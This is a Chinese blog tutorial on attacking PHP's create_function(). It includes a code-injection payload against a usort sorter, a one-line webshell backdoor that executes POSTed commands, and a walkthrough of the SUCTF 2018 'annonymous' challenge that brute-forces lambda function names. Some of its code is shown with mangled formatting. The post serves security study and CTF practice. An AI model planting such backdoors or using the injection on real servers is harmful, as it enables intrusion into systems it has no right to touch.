当前位置: 首页 > news >正文

create_function()漏洞利用

什么是 create_function()

create_function() 是 PHP 早期提供的一个用来创建匿名函数的函数:

$func = create_function('$a,$b', 'return $a + $b;');
echo $func(1, 2); // 输出 3

第一个参数是函数的参数列表(字符串形式),第二个参数是函数体(也是字符串)。
也就是说:它会把字符串当作代码执行!

从 PHP 7.2 开始,这个函数已经被废弃,因为太容易被滥用了

举个危险的例子

$input = $_GET['code'];
$func = create_function('$x', "return $input;");
echo $func(0);

如果用户访问:

example.php?code=phpinfo()

代码就会变成:

$func = create_function('$x', "return phpinfo();");

然后服务器就会执行 phpinfo()造成信息泄露

注入

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

?sort_by=%27%22]);}phpinfo();/*

首先传参后会变成:

$sort_function = ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);';

然后将这个放入create_function:

create_function('$a, $b', ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);');

这里就会生成一个这样的函数:

function($a, $b) {return 1 * strnatcasecmp($a["'"] //  合法访问数组(虽然没啥意义));       //  闭合 return 调用}        //  闭合函数体结构phpinfo(); //  恶意代码执行/*"], $b["'"]);}phpinfo();/*"]); //  这些变成注释,避免语法错误
}

后门

大家经常忽略一点,就是creation_function也是可以用来构造一句话木马的后门的(说实话高版本creation_function都被废弃了,忽略也不是毫无道理的)

<?php $func =create_function('',$_POST['cmd']);$func();?>

将这个写入php文件就可以当后门使用,等价于eval

那么问题来了,为什么会等价呢

先来看 create_function() 的定义

create_function() 的定义如下(PHP 官方解释):

create_function(string $args, string $code): Closure

这个函数的作用是:动态创建一个匿名函数,参数列表是 $args,函数体是 $code,并返回这个匿名函数的句柄。

它是怎么“动态创建”的呢?

从 PHP 源码和官方文档的解释来看,create_function() 的内部实现就是用 eval() 把代码构造出来然后执行的

比如:

$func = create_function('$a, $b', 'return $a + $b;');

等价于:

$func = eval('return function($a, $b) { return $a + $b; };');

所以本质上它会动态生成一个 function (...) { ... } 的结构,然后 eval 掉。

接下来才是今天的重点

create_function创建“匿名”函数

各位师傅可能看到这个引号就明白这里创建的匿名函数一定不是真匿名的

使用create_function()创建"匿名"函数 - OSCHINA - 中文开源技术交流社区

这里推荐一篇文章

总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999],后面的数字会逐步递增

因为create_function是返回函数名称的,函数返回一个唯一的字符串函数名, 出现错误的话则返回FALSE。

这么说这个函数也只是动态的创建了一个函数,而这个函数是有函数名的,也就是说,其实这并不是匿名的。 只是创建了一个全局唯一的函数而已。

所以接下来就来看看这道例题

[SUCTF 2018]annonymous

<?php$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"."global \$MY;"."\$MY();"."}");
if(isset($_GET['func_name'])){$_GET["func_name"]();die();show_source(__FILE__);

源码小小一段,但是短小精悍

简单来说就是 用create_function创造了一个匿名函数会输出flag

接着openssl_random_pseudo_bytes(32)生成一个随机数,然后将其转成了十六进制,将其赋值给$hash
接着SUCTF_和hash拼接成一个新的函数名,函数会执行上面构造的匿名函数

下面的func_name可以传一个函数进去并执行

那么就可以利用匿名函数的漏洞解出flag,只要拿bp爆一下%00lambda_[0-999]后面的数字就好了

相关文章:

  • centos stream 10 修改 metric
  • LSTM-GAN生成数据技术
  • 4. 继承基类实现浏览器_Chrome
  • 6.1.多级缓存架构
  • 【Axure高保真原型】动态折线图
  • MongoDB Ubuntu 安装
  • 智能文档解析系统架构师角色定义
  • 智驭未来:NVIDIA自动驾驶安全白皮书与实验室创新实践深度解析
  • Axure按钮设计分享:打造高效交互体验的六大按钮类型
  • Anomize: Better Open Vocabulary Video Anomaly Detection
  • 3.第三章:数据治理的战略价值
  • 初识Redis · 持久化
  • 配置 Nginx 的 HTTPS
  • 分布式理论和事务
  • Python常用的第三方模块之【jieba库】支持三种分词模式:精确模式、全模式和搜索引擎模式(提高召回率)
  • 从Nacos derby RCE学习derby数据库的利用
  • 【Linux】冯诺依曼体系结构及操作系统架构图的具体剖析
  • Redisson Watchdog实现原理与源码解析:分布式锁的自动续期机制
  • 蚊子的搜索距离可达60公里:对一些特殊气味有所偏爱
  • vue3 el-table 右击
  • 爱奇艺要转型做微剧?龚宇:是误解,微剧是增量业务,要提高投资回报效益
  • 郑庆华任同济大学党委书记
  • 研究显示:日行9000步最高可将癌症风险降低26%
  • 聚焦客户真实需求,平安人寿重磅推出“添平安”保险+服务解决方案
  • 锚定“水库不垮坝”目标,水利部部署今年水库安全度汛工作
  • 中国乒乓球队公示多哈世乒赛参赛名单,王楚钦孙颖莎混双重组